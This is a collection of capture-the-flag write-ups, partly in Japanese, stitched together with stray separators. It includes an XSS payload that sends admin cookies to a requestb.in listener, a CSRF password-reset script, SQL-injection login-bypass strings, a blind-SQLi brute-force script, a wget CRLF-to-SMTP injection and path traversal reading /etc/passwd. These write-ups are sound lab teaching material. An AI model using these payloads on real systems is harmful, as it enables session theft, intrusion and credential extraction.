### 【脆弱性を探す】
requestb.inで待ち受けて、下記内容をレビューに投稿してみる
```<script>location.href="https://requestb.in/1g4c8431"</script>```↓
```Accept-Language: en-US,en;q=0.9,en-AU;q=0.8,zh-TW;q=0.7,zh;q=0.6,es;q=0.5Via: 1.1 vegurCookie: __cfduid=d3002ed99263d2b6cdcaacc2bf8d162d31512241776Cf-Ray: 3c7449207cf723e4-IADCf-Ipcountry: USConnection: closeHost: requestb.inAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8Connect-Time: 0X-Request-Id: f1f3750b-4e0d-4ef0-a69f-57723bb3e89cUpgrade-Insecure-Requests: 1Cf-Connecting-Ip: 96.231.22.50Accept-Encoding: gzipReferer: https://commonsensereviews.tpctf.tk/reviewaksjdflkasjdflkajsdklfjasdlkfjasldfjaklsdjflasdf/kazkitiTotal-Route-Time: 0User-Agent: Mozilla/5.0 (X11; CrOS x86_64 9901.77.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.97 Safari/537.36Cf-Visitor: {"scheme":"https"}```
↓
サーバにアクセスが来たのでXSSの脆弱性が存在することがわかった
---
### 【攻撃してみる】
**【Try1:Refererから漏えいしているURLへアクセスしてみる】**
Referer: https://commonsensereviews.tpctf.tk/reviewaksjdflkasjdflkajsdklfjasdlkfjasldfjaklsdjflasdf/kazkiti
↓
アクセスしてみるもaccess denied
`X-forwarded-for:127.0.0.1`を付与しても同様の結果だった
---
adminのCookieを取得してからアクセスを試みることにする。
↓
まずは、adminのCookieを取得するために、下記をレビューに投稿する```<script>location.href="https://requestb.in/1g4c8431?"+document.cookie</script>```
↓
サーバに下記のアクセスが来てadminnのCookieを得られた
/1g4c8431?session=`eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InBhb2thcmEifQ`
↓
下記に、再度アクセスしてみる
Referer: https://commonsensereviews.tpctf.tk/reviewaksjdflkasjdflkajsdklfjasdlkfjasldfjaklsdjflasdf/kazkiti
↓
`access denied`
IPアドレスで制限されている?のかアクセスできない。
---
eyJfcGVybWFuZW50Ijp0cnVlLCJ1c2VybmFtZSI6InBhb2thcmEifQ
↓ base64でdecodeしてみる
{"_permanent":true,"username":"paokara"fQ
↓
ユーザ名は`paokara`であることがわかった
※Set-Cookieに `HttpOnly`属性が付与されているのになぜ取得できたのか!?誰かがCookieにセットした!?(罠)
---
**【Try2:パスワード変更機能でCSRFを試みる】**
下記の、パスワード変更リクエスト送信するjavascriptを投稿してみる。
↓```<script>var xhr = new XMLHttpRequest();xhr.open("POST", "https://commonsensereviews.tpctf.tk/account", false);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded');xhr.withCredentials = true;xhr.send("[email protected]&formbtn=Send+Request");</script>```
↓
下記がメールアドレスで受信できる```Reset Your Password
Congratulations! Normally, you would've reset the administrators password.For the purposes of this challenge,the flag is tpctf{D1D_Y0U_N0t1c3_Common_Sense_Reviews_1s_P4R7_0F_CSRF_19210jka010920aff}```↓
`tpctf{D1D_Y0U_N0t1c3_Common_Sense_Reviews_1s_P4R7_0F_CSRF_19210jka010920aff}` |
SQLSRF======
The task is to send a mail to root with the subject "give me flag".## The beginning
The given task address `http://sqlsrf.pwn.seccon.jp/sqlsrf/` greets us with a directory listing:

Clicking `index.cgi` or `menu.cgi` redirects to the following login page:

The `index.cgi_backup20171129` file contains the login `index.cgi` script:
```#!/usr/bin/perl
use CGI;my $q = new CGI;
use CGI::Session;my $s = CGI::Session->new(undef, $q->cookie('CGISESSID')||undef, {Directory=>'/tmp'});$s->expire('+1M'); require './.htcrypt.pl';
my $user = $q->param('user');print $q->header(-charset=>'UTF-8', -cookie=> [ $q->cookie(-name=>'CGISESSID', -value=>$s->id), ($q->param('save') eq '1' ? $q->cookie(-name=>'remember', -value=>&encrypt($user), -expires=>'+1M') : undef) ]), $q->start_html(-lang=>'ja', -encoding=>'UTF-8', -title=>'SECCON 2017', -bgcolor=>'black'); $user = &decrypt($q->cookie('remember')) if($user eq '' && $q->cookie('remember') ne '');
my $errmsg = '';if($q->param('login') ne '') { use DBI; my $dbh = DBI->connect('dbi:SQLite:dbname=./.htDB'); my $sth = $dbh->prepare("SELECT password FROM users WHERE username='".$q->param('user')."';"); $errmsg = '<h2 style="color:red">Login Error!</h2>'; eval { $sth->execute(); if(my @row = $sth->fetchrow_array) { if($row[0] ne '' && $q->param('pass') ne '' && $row[0] eq &encrypt($q->param('pass'))) { $s->param('autheduser', $q->param('user')); print "<scr"."ipt>document.location='./menu.cgi';</script>"; $errmsg = ''; } } }; if($@) { $errmsg = '<h2 style="color:red">Database Error!</h2>'; } $dbh->disconnect();}$user = $q->escapeHTML($user);
print <<"EOM";
<div style="background:#000 url(./bg-header.jpg) 50% 50% no-repeat;position:fixed;width:100%;height:300px;top:0;"></div><div style="position:relative;top:300px;color:white;text-align:center;"><h1>Login</h1><form action="?" method="post">$errmsg<table border="0" align="center" style="background:white;color:black;padding:50px;border:1px solid darkgray;"><tr><td>Username:</td><td><input type="text" name="user" value="$user"></td></tr><tr><td>Password:</td><td><input type="password" name="pass" value=""></td></tr><tr><td colspan="2"><input type="checkbox" name="save" value="1">Remember Me</td></tr><tr><td colspan="2" align="right"><input type="submit" name="login" value="Login"></td></tr></table></form></div></body></html>EOM
1;```
## Authentication bypass
The first thing to do here is probably to log in. The login script shows that the authentication is done by pulling the encrypted user password from the database and comparing it to the result of `encrypt(pass)`, where pass is the password parameter we supply in the login form.
The username form field is prone to SQL injection, which can be seen in the script and confirmed by sending a `'` username and getting a `Database Error!`.
Maybe it's possible to use the SQLi to directly execute our code (for example the `mail` command)? After a bit of googling, a code execution exploit can be found for example [here](http://resources.infosecinstitute.com/code-execution-and-privilege-escalation-databases/), but it requires stacked queries. Another bit of googling shows that the DBI SQLite driver doesn't allow stacked queries, so that's a no go. No other exploits can be easily found, so it's back to trying to log in.
One way to use SQLi to bypass the authorization here is to supply an arbitrary password - for example `'abc'`, and make the query return `encrypt('abc')`. If we can do that, then the authentication method described above will compare the `encrypt('abc')` "database" password we forced by SQLi with the result of `encrypt('abc')`, because we supply `'abc'` as password.
The SQLi part is easy - supplying `' UNION SELECT '{}'; --` as the username will result in the following query:
```SELECT password FROM users WHERE username='' UNION SELECT '{}'; --';```
which will return `{}`. All we have to do is find the value of `encrypt('abc')` and put it in place of `{}`.
The problem is that the `encrypt` function is supplied from a local file, so we don't know what kind of encryption it is. However, the script also shows that when we check the `Remember me` field and try to log in, the value of `encrypt(user)` (where user is the username parameter we supply in the login form) is stored in the `remember` cookie. Conversely, it can also be deducted that if we don't supply any username and the `remember` cookie is present, the value of `decrypt(cookie['remember'])` is shown in the username form field when the page reloads after clicking `Login`.
Therefore we have a simple way to encrypt and decrypt any string we like: * encrypt(**s**): check the `Remember me` checkbox, put **s** in the username field, click `Login`, read the `remember` cookie* decrypt(**s**): set the `remember` cookie to **s**, leave the form fields empty, click `Login`, read the username field value
Using the following method, we get that `encrypt('abc') = 'a37ad08a8b145d11edf2d82254be0b58'`. All that's left is to log in with the following credentials:
```user = ' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58'; --pass = abc```
And we're logged in:

## Gaining admin privileges
The first button on the page can be used to send the `netstat -tnl` command to the server and retrieve its output:

The services active on the server are HTTP, SSH and SMTP. From the outside, only HTTP and SSH can be seen as open, so the SMTP server is probably behind a firewall. Since our task is to send a mail, we probably have to find a way to communicate with this server.
Modifying the `cmd` parameter that contains the netsat command to try and insert another command instead of it, after it, or as its parametr yields no results. It appears that the server checks the command for string equality, so that's probably not exploitable.
The second button looks like it can be used to retrieve the results of a `wget` command in which we control the address. However, there's a warning saying that only a person with the username `'admin'` can use the button and the button is disabled.
First, let's check if the warning's not fake and the button being disabled isn't the only thing preventing us from using it. Unfortunately, neither making the button enabled and using it, nor altering the `cmd` and `args` form parameters in BurpSuite while sendig a request seem to give any results. The next step then seems to be to log in with the username `'admin'`.
The `authed_user` parameter, which probably determines our identity to the server, is stored in the session, server-side, so it's probably not possible to alter it after we log in. We also can't use our previous method to log in, because anything we put in the username form field is treated as our username to the server - so it has to be exactly `'admin'`.
It looks like we have to get the password for the `'admin'` user from the database. The passwords in the databases are stored encrypted, but thankfully we already have a method to decrypt any given string.
Since we don't get any output from the database returned to us, we have to use blind SQL injection to retrieve the password char-by-char. The first step is to find an action that depends on the SQL query and is observable, so we can check if it suceeded or not - get a binary response. Fortunately, we already have that action at hand - logging in!
Let's analyze this. First, it can be confirmed that the
```' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58'; --```
username parameter can be changed to
```' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin'; --```
and it still works. But now, we can append an AND condition at the end of it and test if the condition is true or not. If it's true, we should log in successfully and if it's false we'll get a `Login Error!`. Let's confirm that this aproach works:
```' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin' AND 1=1; --``` logs us in successfully, while```' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin' AND 1=2; --```gets us the login error.
Now that we know that testing the condition works, we have to find a condition that we can use to retrieve the admin password. The `SUBSTR()` function can be used for that - we can use it to compare any character of the password to an arbitrary character. For example `SUBSTR(password, 10, 1)='a'` checks if the 10th character of the password is 'a'. The whole username paremeter should then become:
```' UNION SELECT 'a37ad08a8b145d11edf2d82254be0b58' FROM users WHERE username='admin' AND SUBSTR(password, {}, 1)='{}'; --```
where we substitute the `{}`s with the position of the character in the password and the character we want to compare it against.
We can use the parameter above to brute-force the password. Outputs from the `encrypt()` function were 32 characters long, so the password should be the same size. So we have to check 32 password characters against 100 printable characters. That's at most 3200 requests - not too bad, and of course we can write the script so that it stops checking the current position after a matching character is found.
The following script gets us the encrypted password in under 3 minutes:
```{python}import reimport requestsimport string
ADDRESS = 'http://sqlsrf.pwn.seccon.jp/sqlsrf/index.cgi'USERNAME_BASE = '\' UNION SELECT \'a37ad08a8b145d11edf2d82254be0b58\' from users where username=\'admin\' AND SUBSTR(password, {}, 1)=\'{}\';--'PASSWORD_LENGTH = 32
def get_password_char(pos): for char in string.printable: data = { 'login': 'Login', 'user': USERNAME_BASE.format(str(pos), char), 'pass': 'abc', } r = requests.post(ADDRESS, data)
m = re.search(r'Login Error!', r.text) print(char, 'logged' if not m else 'nope')
if not m: return char
def brute_force_password(): password_chars = [] for i in range(1, 1 + PASSWORD_LENGTH): next_char = get_password_char(i) password_chars.append(next_char) print(''.join(password_chars))
brute_force_password()```
The encrypted password found by the script is `d2f37e101c0e76bcc90b5634a5510f64`. The only thing left is to decrypt the password using the `remember` cookie and log in as admin. The decrypted password is `Yes!Kusomon!!`, and we are logged in:

## Sending mail via wget
Now the `wget --debug -O /dev/stdout 'http://{}'` command becomes available and its output is shown on the page. Again, none of the command injection tricks work here, the *only* thing we control is the address in the wget command. We can't even modify the flags.
Googling `wget exploit` gets us two exploits from 2016 which lead to arbitrary write, and through it to code execution. Unfortunately, none of the two works with the `-O` flag that we have set.
Our task is still to send an email, so let's try inputting the address of our target SMTP server: `127.0.0.1:25`. We get the following response:
```Setting --output-document (outputdocument) to /dev/stdoutDEBUG output created by Wget 1.14 on linux-gnu.
URI encoding = 'ANSI_X3.4-1968'Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)--2017-12-11 01:41:39-- http://127.0.0.1:25/Connecting to 127.0.0.1:25... connected.Created socket 4.Releasing 0x0000000001c70c20 (new refcount 0).Deleting unused 0x0000000001c70c20.
---request begin---GET / HTTP/1.1User-Agent: Wget/1.14 (linux-gnu)Accept: */*Host: 127.0.0.1:25Connection: Keep-Alive
---request end---HTTP request sent, awaiting response...---response begin------response end---200 No headers, assuming HTTP/0.9Registered socket 4 for persistent reuse.Length: unspecifiedSaving to: '/dev/stdout'220 ymzk01.pwn ESMTP patched-Postfix502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized500 5.5.2 Error: bad syntax```
We see that the server tries to interpret each of the 5 lines of our HTTP request and it doesn't stop after encountering a bad command. This leads us to believe that if we had the ability to add arbitrary headers to the request, we could probably communicate with the server. Normally, to add headers to the requests in wget you have to set appropriate flags, which we can't do.
However, after next fair bit of googling, the following vulnerability can be found: http://lists.gnu.org/archive/html/bug-wget/2017-03/msg00018.html. As it turns out, there's a bug in wget's url escaping, which makes the host part of the url prone to CRLF injection and in turn allows us to set arbitrary headers on the request.
However, after trying out the exploit on a test value, we get the following result:
```Setting --output-document (outputdocument) to /dev/stdoutDEBUG output created by Wget 1.14 on linux-gnu.
URI encoding = 'ANSI_X3.4-1968'http://127.0.0.1:25%0d0atest/: Bad port number.```
It looks like the exploit in its current form doesn't work well with an address with a specified port. Fortunately we can move the port part to the end of the string and it works - `127.0.0.1%0d%0atest:25/` gives us:
```Setting --output-document (outputdocument) to /dev/stdoutDEBUG output created by Wget 1.14 on linux-gnu.
URI encoding = 'ANSI_X3.4-1968'Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)--2017-12-11 01:50:58-- http://127.0.0.1%0D%0Atest:25/Resolving 127.0.0.1\r\ntest (127.0.0.1\r\ntest)... 127.0.0.1Caching 127.0.0.1test => 127.0.0.1Connecting to 127.0.0.1test (127.0.0.1test)|127.0.0.1|:25... connected.Created socket 4.Releasing 0x0000000001b59c60 (new refcount 1).
---request begin---GET / HTTP/1.1User-Agent: Wget/1.14 (linux-gnu)Accept: */*Host: 127.0.0.1test:25Connection: Keep-Alive
---request end---HTTP request sent, awaiting response...---response begin------response end---200 No headers, assuming HTTP/0.9Registered socket 4 for persistent reuse.Length: unspecifiedSaving to: '/dev/stdout'220 ymzk01.pwn ESMTP patched-Postfix502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized500 5.5.2 Error: bad syntax```
The server now tries to interpret 6 commands, so it looks like it received our `test` command. So now we have to find out how the SMTP protocol works, write a minimal example that sends an email to root, with our mail set as the sender and subject set to `'give me flag'`. Analyzing the first google result leaves us with:
```HELO towcaMAIL FROM:<[email protected]>RCPT TO:<root>DATASubject: give me flag
abc.```
This sequence of commands should make the server send an email to `root` from `[email protected]` with the subject `'give me flag'` and the body `'abc'`.
Now all we have to do is take the text above, add additional newlines at the beginning and at the end, and pass it through an url-encoder (url-encoding turns all newlines into %0d%0a). Then, place the resulting string between `127.0.0.1` and `:25/`. So in the end, we have to send:
```127.0.0.1%0D%0AHELO%20towca%0D%0AMAIL%20FROM%3A%3Cmy_mail%40gmail.com%3E%0D%0ARCPT%20TO%3A%3Croot%3E%0D%0ADATA%0D%0ASubject%3A%20give%20me%20flag%0D%0A%0D%0Aabc%0D%0A.%0D%0A:25/```
This gives us the following output:
```Setting --output-document (outputdocument) to /dev/stdoutDEBUG output created by Wget 1.14 on linux-gnu.
URI encoding = 'ANSI_X3.4-1968'Converted file name 'index.html' (UTF-8) -> 'index.html' (ANSI_X3.4-1968)--2017-12-11 04:59:17-- http://[127.0.0.1%0D%0Ahelo%20towca%0D%0Amail%20from:%3Cmy_mail%40gmail.com%3E%0D%0Arcpt%20to:%3Croot%3E%0D%0Adata%0D%0Asubject:%20give%20me%20flag%0D%0A%0D%0Aabc%0D%0A.%0D%0A]:25/Resolving 127.0.0.1\r\nhelo towca\r\nmail from:<[email protected]>\r\nrcpt to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n (127.0.0.1\r\nhelo towca\r\nmail from:<[email protected]>\r\nrcpt to:<root>\r\ndata\r\nsubject: give me flag\r\n\r\nabc\r\n.\r\n)... 127.0.0.1Caching 127.0.0.1helo towcamail from:<[email protected]>rcpt to:<root>datasubject: give me flag
abc. => 127.0.0.1Connecting to 127.0.0.1helo towcamail from:<[email protected]>rcpt to:<root>datasubject: give me flag
abc. (127.0.0.1helo towcamail from:<[email protected]>rcpt to:<root>datasubject: give me flag
abc.)|127.0.0.1|:25... connected.Created socket 4.Releasing 0x00000000010e1ec0 (new refcount 1).
---request begin---GET / HTTP/1.1User-Agent: Wget/1.14 (linux-gnu)Accept: */*Host: [127.0.0.1helo towcamail from:<[email protected]>rcpt to:<root>datasubject: give me flag
abc.]:25Connection: Keep-Alive
---request end---HTTP request sent, awaiting response... ---response begin------response end---200 No headers, assuming HTTP/0.9Registered socket 4 for persistent reuse.Length: unspecifiedSaving to: '/dev/stdout'220 ymzk01.pwn ESMTP patched-Postfix502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized250 ymzk01.pwn250 2.1.0 Ok250 2.1.5 Ok354 End data with <CR><LF>.<CR><LF>250 2.0.0 Ok: queued as 6B85326633502 5.5.2 Error: command not recognized502 5.5.2 Error: command not recognized500 5.5.2 Error: bad syntax```
As we can see, our commands were sent in the headers, and the server's `250 2.0.0 Ok: queued as 6B85326633` response means that everything went according to plan. After checking `[email protected]`, we get the following email:
```Encrypted-FLAG: 37208e07f86ba78a7416ecd535fd874a3b98b964005a5503bcaa41a1c9b42a19```
Even though the encrypted string here is twice as long as the previous outputs from the `encrypt()` function, when we use the `remember` cookie to decrypt it, we finally get the flag:
```SECCON{SSRFisMyFriend!}``` |
Since it was said, 1 bit is flipped, just tried brute forcing bit flip and dumped all the images, then ran tesseract to extract the text, then grep'd for SECCON and got the flag.```with open("broken.jpg") as f: a = f.read()
def flip(er, n): return chr(ord(er) ^ (1<<n))
for i in xrange(1000): for j in xrange(8): b = a[:i] + flip(a[i], j) + a[i+1:] with open("temp/" + str(i*10+j)+'.jpg', 'wb') as f: f.write(b)```
`for i in *; do tesseract $i stdout 2>/dev/null; done | grep SECCON` |
tl;drChallenge suggests that it's some kind of music. I compiled the code (removed warnings from listning for clarity):```~ $ cat putcharmusic.c main(t,i,j){unsigned char p[]="###<f_YM\204g_YM\204g_Y_H #<f_YM\204g_YM\204g_Y_H #+-?[WKAMYJ/7 #+-?[WKgH #+-?[WKAMYJ/7hk\206\203tk\\YJAfkkk";for(i=0;t=1;i=(i+1)%(sizeof(p)-1)){double x=pow(1.05946309435931,p[i]/6+13);for(j=1+p[i]%6;t++%(8192/j);)putchar(t>>5|(int)(t*x));}}~ $ cc putcharmusic.c -o putcharmusic/tmp/ccaifl5q.o: In function `main':putcharmusic.c:(.text+0x19e): undefined reference to `pow'collect2: error: ld returned 1 exit status~ $ cc -lm putcharmusic.c -o putcharmusic~ $ ./putcharmusic | aplayPlaying raw data 'stdin' : Unsigned 8 bit, Rate 8000 Hz, Mono^CAborted by signal Interrupt...aplay: pcm_write:2051: write error: Interrupted system call```I can clearly hear [Star Wars theme song](https://www.youtube.com/watch?v=_D0ZQPqeJkk). Flag is `SECCON{STAR_WARS}`.
Btw. I fail to understand how a challenge could be easier. |
[write-up](https://github.com/ssspeedgit00/CTF/tree/master/2017/SECCON/election)* See more details on exploit: [exploit](https://github.com/ssspeedgit00/CTF/tree/master/2017/SECCON/election).* Vote `Ojima` to write everywhere.* Write `ojima` to `.bss`.* Forge struct on `.bss`.* Switch `list` pointer to point to fake struct and its `votes` offset stored `heap` address.* Vote it to increase the heap pointer.* Fix `list` pointer to previous one.* Show candidate to leak `heap base`, cause the name pointer of one candidate has been switched to point to `heap pointer` by voting to increase it.* Now we can write everywhere on heap cause we got `heap base`.* Forge `fd` of `single link list` to fake struct which name pointer point to `GOT['__libc_start_main']`.* Leak libc.* Overwrite `__malloc_hook` with `one`.* Stand to get shell. |
*See the attachments [here](https://gist.github.com/vient/4d4e1cf75e8aa59def8e281dabd09bf3)*
The binary is reading format strings one by one from provided file and prints them to `/dev/null`.
This `fprintf` receives a lot of parameters, which actually are 16 bytes of memory, 16 bytes of flag, and pointers to said bytes. That are 64 parameters in total. Because of using `%hhn` specifiers, format strings can write to provided memory addresses, so we can perform additions with them easily.
Since given "virtual program" was pretty big, almost 3400 lines, I wrote a parser to make "virtual instructions" (format strings) more human-readable. For example, `%2$*36$s%2$*41$s%4$hhn` becomes `mem[3] = mem[3] + mem[8]`.
After parsing in human-readable form patterns in code became more obvious, so the next thing I wrote were two "optimizing" passes that folded additions in multiplications and then multiplications into one big sum.
Next, after parsing we have pretty simple program already. It is clear that flag is checked using a linear system, so we can use z3 to solve it easily. |
> Qubic Rube>> 300 points> > Please continue to solve Rubic's Cube and read QR code.>> http://qubicrube.pwn.seccon.jp:33654/
One of the reasons I love CTFs is because they force me to learn new technologies quickly. This challenge was awesome because I learned image manipulation and QR code scanning in Python - something I wanted to try for a while.
When we open the referenced site we are shown a spinning Rubics Cube with sides containing QR codes:

The images can be loaded directly and analyzed. As we [decode](https://zxing.org/w/decode.jspx) the codes we see that one of them contains a reference to the next page in sequence (50 of them total):

However, as we progress from page to page the images get more and more mangled:

It's clear that we have to reconstruct proper sides from separate pieces. Here is the sequence of steps that we have to follow:
- Load all images on a page- Split each in 9 pieces (3x3)- For each piece determine the color side it belongs to- "Normalize" pieces by rotating corner pieces to be in the top-left position, and sides to be in the top-middle position- Join pieces for each side in all possible combinations to see if we can extract the text- If the text is a flag - show it- If the text is the reference to the next page - follow it and start again
Let's put this algorithm into a script:
```pythonimport qrtoolsimport urllib2from PIL import Imageimport os
SIZE = 82TEST_IMG = "test.png"
color_map = {}
color_map[(196, 30, 58)] = 0color_map[(255, 88, 0)] = 1color_map[(255, 255, 255)] = 2color_map[(0, 81, 186)] = 3color_map[(0, 158, 96)] = 4color_map[(255, 213, 0)] = 5
permutations = [[1,2,3,4], [1,2,4,3], [1,3,2,4], [1,3,4,2], [1,4,2,3], [1,4,3,2], [2,1,3,4], [2,1,4,3], [2,3,1,4], [2,3,4,1], [2,4,1,3], [2,4,3,1], [3,1,2,4], [3,1,4,2], [3,2,1,4], [3,2,4,1], [3,4,1,2], [3,4,2,1], [4,1,2,3], [4,1,3,2], [4,2,1,3], [4,2,3,1], [4,3,1,2], [4,3,2,1]]
def process(file, center, corners, sides): orig_img = Image.open(file) # cut out 9 pieces for x in range(3): for y in range(3): img = orig_img.copy() img = img.crop((x*SIZE, y*SIZE, x*SIZE+SIZE, y*SIZE+SIZE)) colors = img.getcolors(256) #put a higher value if there are many colors in your image
# determine piece color for c in colors: if c[1] in color_map: colorid = color_map[c[1]] # normalize by rotation if x == 0 and y > 0: img = img.rotate(270) if x == 2 and y < 2: img = img.rotate(90) if x > 0 and y == 2: img = img.rotate(180) # store piece in proper bucket if x == 1 and y == 1: center[colorid] = img else: if x == 1 or y == 1: sides[colorid].append(img) else: corners[colorid].append(img) def combine(center, corners, sides): global permutations
# recombine pieces all possible ways for colorid in range(6): for corn in range(len(permutations)): for side in range(len(permutations)): img = Image.new("RGB",(SIZE*3,SIZE*3)) img.paste(center[colorid],(SIZE,SIZE)) # paste and rotate corners for x in range(4): pos = permutations[corn][x] if pos == 1: img.paste(corners[colorid][x],(0,0)) if pos == 2: img.paste(corners[colorid][x].rotate(-90),(SIZE*2,0)) if pos == 3: img.paste(corners[colorid][x].rotate(-180),(SIZE*2,SIZE*2)) if pos == 4: img.paste(corners[colorid][x].rotate(-270),(0,SIZE*2)) # paste and rotate sides for x in range(4): pos = permutations[side][x] if pos == 1: img.paste(sides[colorid][x],(SIZE,0)) if pos == 2: img.paste(sides[colorid][x].rotate(-90),(SIZE*2,SIZE)) if pos == 3: img.paste(sides[colorid][x].rotate(-180),(SIZE,SIZE*2)) if pos == 4: img.paste(sides[colorid][x].rotate(-270),(0,SIZE)) img.save(TEST_IMG) qr = qrtools.QR() qr.decode(TEST_IMG) os.remove(TEST_IMG) # see if we found the link to the next page if "seccon.jp" in qr.data: return qr.data[qr.data.rfind("/")+1:] # print the flag if found if "SECCON" in qr.data: print qr.data return None # starting image prefixpref = "01000000000000000000"
while True: print "---" corners = [] sides = [] center = [] for x in range(6): corners.append([]) sides.append([]) center.append(None) # download all sides for x in "RLUDFB": file = "%s_%s.png" % (pref,x) open(file,"wb").write(urllib2.urlopen('http://qubicrube.pwn.seccon.jp:33654/images/' + file).read()) process(file, center, corners, sides) # find the next link or the flag pref = combine(center, corners, sides) if pref == None: print "Not found" break else: print "Found " + pref```
After running for a while the script gets us the answer:
```...Found 4882153b757d0af86d97---Found 49d06dfaeaefaa612e72---SECCON 2017 Online CTF SECCON 2017 Online CTF SECCON 2017 Online CTF SECCON 2017 Online CTF SECCON 2017 Online CTF Found 504ded069e4db4e3bef9---SECCON{Thanks to Denso Wave for inventing the QR code} SECCON{Thanks to Denso Wave for inventing the QR code} SECCON{Thanks to Denso Wave for inventing the QR code} SECCON{Thanks to Denso Wave for inventing the QR code} SECCON 2017 Online CTF SECCON 2017 Online CTF SECCON 2017 Online CTF SECCON 2017 Online CTF SECCON 2017 Online CTF Not found```
The flag is ```SECCON{Thanks to Denso Wave for inventing the QR code}```. |
More details in the [link](https://rioru.github.io/ctf/ppm/2017/12/10/ctf-writeup-seccon-2017-rubiks.html).
Done with a rubiks solver and image permutations. |
# ▼▼▼automatic_door(Web:500)、73/1028team=7.1%▼▼▼**This writeup is written by [@kazkiti_ctf](https://twitter.com/kazkiti_ctf)**
---
```automatic_door
Get shell, and execute /flag_x```
---
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/`
↓
```getSize(); } } return $bytestotal;}
if (isset($_GET['action'])) { if ($_GET['action'] == 'pwd') { echo $d;
exit; } else if ($_GET['action'] == 'phpinfo') { phpinfo();
exit; } else if ($_GET['action'] == 'read') { $f = $_GET['filename']; if (read_ok($f)) echo file_get_contents($d . $f); else echo $fail;
exit; } else if ($_GET['action'] == 'write') { $f = $_GET['filename']; if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) { print_r($_FILES['file']); print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f)); } else echo $fail;
if (GetDirectorySize($d) > 10000) { rmdir($d); }
exit; } else if ($_GET['action'] == 'delete') { $f = $_GET['filename']; if (write_ok($f)) print_r(unlink($d . $f)); else echo $fail;
exit; }}
highlight_file(__FILE__);```
↓
`$_GET['action']`では、`pwd`、`phpinfo`、`read`、`write`、`delete`が使えることがわかる。
---順に使ってみる
### 【1:pwd】
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=pwd`
↓
`sandbox/FAIL_ba149181bd7fe48ec761f061c3e60f07de257ec5/`
↓
現在のフォルダが得られる
---
### 【2:phpinfo】
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=phpinfo`
↓
phpinfo()の内容が表示される。とりあえず、下記の気になる箇所だけ確認した。```allow_url_fopen=onallow_url_include=off```↓
URLを挿入してもアクセスしにこない設定になっている。
---
### 【3:read】
ファイルを読み込めるのだが、現在読み込めるファイルがないので、パストラバーサルで`/etc/passwd`を読み込んでみる
↓
`http://automatic_door.pwn.seccon.jp/0b503d0caf712352fc200bc5332c4f95/?action=read&filename=../../../../../../../../etc/passwd`
↓
```root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/falsesyslog:x:104:108::/home/syslog:/bin/false_apt:x:105:65534::/nonexistent:/bin/falsemessagebus:x:106:110::/var/run/dbus:/bin/falseuuidd:x:107:111::/run/uuidd:/bin/falsentp:x:108:114::/home/ntp:/bin/falsesshd:x:109:65534::/var/run/sshd:/usr/sbin/nologinubuntu:x:1000:1000:Ubuntu User,,,:/home/ubuntu:/bin/bashnomuken:x:1001:100::/home/nomuken:/bin/bashseccon:x:1002:100::/home/seccon:/bin/bashprometheus:x:110:117:Prometheus daemon,,,:/var/lib/prometheus:/bin/false```
↓
パストラバーサルの脆弱性が存在し、ファイルが読み込めることがわかる★
---
### 【4:write】
``` } else if ($_GET['action'] == 'write') { $f = $_GET['filename']; if (write_ok($f) && strstr($f, 'ph') === FALSE && $_FILES['file']['size'] < 10000) { print_r($_FILES['file']); print_r(move_uploaded_file($_FILES['file']['tmp_name'], $d . $f)); }```
↓
`$_FILES['file']`とは、`POST`で`multipart/form-data`形式でアップロードされたファイルを取得するもの。
↓
`GET`で`action=write`を送信しつつ、`POST`で`file`パラメータを送信する必要がある。
---
ファイル名`test`で、内容`testtest`のものをアップロードしてみる
